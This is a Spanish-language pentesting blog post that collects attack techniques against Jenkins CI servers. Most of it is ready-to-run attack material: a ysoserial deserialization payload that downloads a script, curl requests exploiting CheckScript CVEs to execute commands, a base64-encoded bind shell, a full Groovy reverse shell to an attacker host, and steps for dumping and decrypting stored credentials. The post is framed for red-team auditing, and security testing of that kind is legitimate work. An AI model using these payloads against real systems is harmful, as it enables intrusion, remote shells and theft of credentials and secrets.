Jenkins es un servidor open source de integración y entrega continua (CI/CD) escrito en Java y uno de los softwares de automatización más usados en nuestros días, con más de 14.000 plugins para todo tipo de tareas. Eso le convierte en uno de los principales objetivos para un redteamer/pentester ya que a menudo se encuentran credenciales y código propietario además de una consola para lanzar Groovy scripts, todo ello facilitando a menudo llevar a cabo una intrusión.
En esta entrada traemos fundamentalmente distintas técnicas recopiladas en el repo de Guillaume Quéré aderezado con alguna cosillas que iremos ampliando según vayamos encontrando. Un buen recurso para tener a mano en nuestros ejercicios de auditoría :-P
- Ejecución remota de código
- Deserialización en versiones antiguas de Jenkins (CVE-2015-8103, Jenkins 1.638 y anteriores)
- Bypass de la autenticación/ACL (CVE-2018-1000861, Jenkins <2.150.1)
- Metaprogramming en Plugins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)
- CheckScript (CVE-2019-1003029, CVE-2019-1003030)
- Git plugin (<3.12.0) (CVE-2019-10392)
- Dumpear builds para encontrar secrets en texto claro
- Password spraying
- Archivos a copiar después de comprometer el servidor
- Descifrar los secrets de Jenkins offline
- Groovy Scripts
- Descifra los secrets de Jenkins de Groovy
- Ejecución de comandos desde Groovy
- Shell reversa desde Groovy
- Herramientas para pwnear Jenkins
Ejecución remota de código
Deserialización en versiones antiguas de Jenkins (CVE-2015-8103, Jenkins 1.638 y anteriores)
Usa ysoserial para generar un payload. Luego el RCE usando este script:
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out
Bypass de la autenticación/ACL (CVE-2018-1000861, Jenkins <2.150.1)
Más detalle aquí.
Si Jenkins solicita autenticación pero devuelve datos válidos usando la siguiente petición, es vulnerable:
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
Metaprogramming en Plugins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)
Vulnerabilidad RCE original aquí, exploit completo aquí.
RCE alternativo con permisos Overall/Read y Job/Configure aquí.
CheckScript (CVE-2019-1003029, CVE-2019-1003030)
Comprueba si una instancia de Jenkins es vulnerable (necesita permisos Overall/Read) con algo de Groovy:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
Si no obtienes inmediatamente una shell inversa, puedes debuggear lanzando una excepción:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
Git plugin (<3.12.0) (CVE-2019-10392)
Este solo funcionará si un usuario tiene los permisos de 'Jobs/Configure' en la matriz de seguridad, por lo que es muy específico.
Dumpear builds para encontrar secrets en texto claro
Utiliza este script para descargar los resultados de la consola del build y las variables de entorno de compilación para, con suerte, encontrar secrets en texto claro:
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
[-l] [-r] [-d] [-s] [-v]
url [url ...]
Dump all available info from Jenkins
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-o OUTPUT_DIR, --output-dir OUTPUT_DIR
-l, --last Dump only the last build of each job
-r, --recover_from_failure
Recover from server failure, skip all existing
directories
-d, --downgrade_ssl Downgrade SSL to use RSA (for legacy)
-s, --no_use_session Don't reuse the HTTP session, but create a new one for
each request (for legacy)
-v, --verbose Debug mode
Password spraying
Usa este script en python o este script en powershell.
Archivos a copiar después de comprometer el servidor
Estos archivos son necesarios para descifrar los secrets de Jenkins:
- secrets/master.key
- secrets/hudson.util.Secret
Dichos secretos generalmente se pueden encontrar en:
- credentials.xml
- jobs/.../build.xml
Aquí hay una expresión regular para encontrarlos:
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
Descifrar los secrets de Jenkins offline
Usa este script para descifrar secrets dumpeados anteriormente.
Uso:
jenkins_offline_decrypt.py <jenkins_base_path>
o:
jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
o:
jenkins_offline_decrypt.py -i <path> (interactive mode)
Groovy Scripts
Descifra los secretos de Jenkins de Groovy
println(hudson.util.Secret.decrypt("{...}"))
Ejecución de comandos desde Groovy
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
Para comandos shell de varias líneas, usa el siguiente truco (el ejemplo incluye una bind shell):
def proc="sh -c \$@|sh . echo /bin/echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAzgAAAAAAAAAkAQAAAAAAAAAQAAAAAAAAailYmWoCX2oBXg8FSJdSxwQkAgD96UiJ5moQWmoxWA8FajJYDwVIMfZqK1gPBUiXagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU= | base64 -d > /tmp/65001".execute();
Automatízalo si quieres con este script.
Shell reversa desde Groovy
String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Dejo este consejo para la shell reversa para recuperar un PTY completamente funcional en caso de que alguien lo necesite:
python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy
Herramientas para pwnear Jenkins
Jenkins attack framework
Accenture ha lanzado recientemente Jenkins Attack Framework (JAF), una nueva herramienta dirigida a pentesters y redteamers que puede revelar muchas formas en las que se puede abusar del popular servidor de automatización: https://github.com/Accenture/jenkins-attack-framework
Comentarios
Publicar un comentario